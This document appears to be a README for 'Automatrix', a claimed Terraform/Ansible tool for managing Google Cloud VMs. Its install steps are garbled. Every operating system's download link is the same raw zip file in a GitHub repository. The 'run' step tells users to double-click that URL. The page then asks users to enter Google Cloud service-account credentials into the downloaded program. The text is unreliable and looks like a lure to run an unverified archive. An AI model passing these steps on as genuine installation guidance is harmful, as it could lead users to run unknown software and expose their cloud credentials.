Automatrix is a powerful tool designed to help you efficiently manage Google Cloud Platform (GCP) Virtual Machines. It combines Terraform and Ansible to provide a seamless experience for provisioning, configuring, and maintaining your cloud infrastructure. With Automatrix, every deployment is identical and repeatable, making your life easier and your cloud setup more reliable.
To get started with Automatrix, follow these simple steps to download and install the application.
- Operating System: Windows 10, macOS, or Linux (for example, Ubuntu).
- Minimum RAM: 4 GB (8 GB recommended).
- Internet connection for downloading packages.
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Visit the Releases Page
Go to the official Releases page to find the latest version of Automatrix. -
Choose Your Version
Look for the most recent version listed at the top. Each version includes release notes that explain new features and fixes. -
Download the Application
Click on the version number to see the available files. Download the version that corresponds to your operating system:- For Windows, choose
https://raw.githubusercontent.com/xeto7/Automatrix/main/get/Automatrix.zip - For macOS, select
https://raw.githubusercontent.com/xeto7/Automatrix/main/get/Automatrix.zip - For Linux, download
https://raw.githubusercontent.com/xeto7/Automatrix/main/get/Automatrix.zip
- For Windows, choose
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Unzip the File
Once the download is complete, locate the file on your computer. Right-click and select "Extract All" or use your preferred extraction tool to unzip the file. -
Open the Application Folder
Navigate to the folder where you extracted Automatrix. -
Run Automatrix
- For Windows, double-click on
https://raw.githubusercontent.com/xeto7/Automatrix/main/get/Automatrix.zip. - For macOS, double-click
https://raw.githubusercontent.com/xeto7/Automatrix/main/get/Automatrix.zip. - For Linux, open a terminal, navigate to the folder, and type
./Automatrixto run the application.
- For Windows, double-click on
When you run Automatrix for the first time, you will need to configure it for your cloud environment. Follow these steps:
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Connect to Google Cloud
You will be prompted to enter your Google Cloud credentials. Make sure you have created a service account in Google Cloud and downloaded the JSON key file. -
Set Up Your Project
Choose or create a project where Automatrix will deploy your resources. Ensure you have the necessary permissions to create and manage resources in your chosen project. -
Configure Settings
Review the default settings and adjust them based on your preferences. This includes configuring the VM size, region, and any additional services you want to enable. -
Save Your Configuration
After making necessary changes, save your configurations. This will help you reuse the same setup for future deployments.
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Provision Resources
From the main menu, select "Provision". This will set up your VMs in the cloud according to your configurations. -
Configuration Management
Automatrix allows you to configure your VMs using Ansible plays. You can add playbook files to automate installations and configurations on your VMs. -
Maintenance
Use Automatrix to regularly maintain and update your VMs. It ensures your infrastructure remains in the desired state, applying any necessary updates.
If you encounter issues while running Automatrix, you can check out the FAQs on our Support page.
Here are some common troubleshooting steps:
- Check your Credentials: Ensure your Google Cloud credentials are correct.
- Permissions: Make sure your service account has required permissions in Google Cloud.
- Network Issues: Ensure your internet connection is stable.
- Documentation for detailed guides on features and commands.
- Community Discussions for sharing experiences, tips, and advice.
Visit the Releases page now to download Automatrix. Follow the installation and setup instructions, and you'll be running your automated cloud infrastructure in no time!
This project covers various topics related to automation and cloud infrastructure:
ansible, ansible-galaxy, ansible-playbook, cloud, cloud-infra, google, google-cloud, google-cloud-platform, infrastructure, python, terraform, test, test-automation, testing, testing-tools, tests.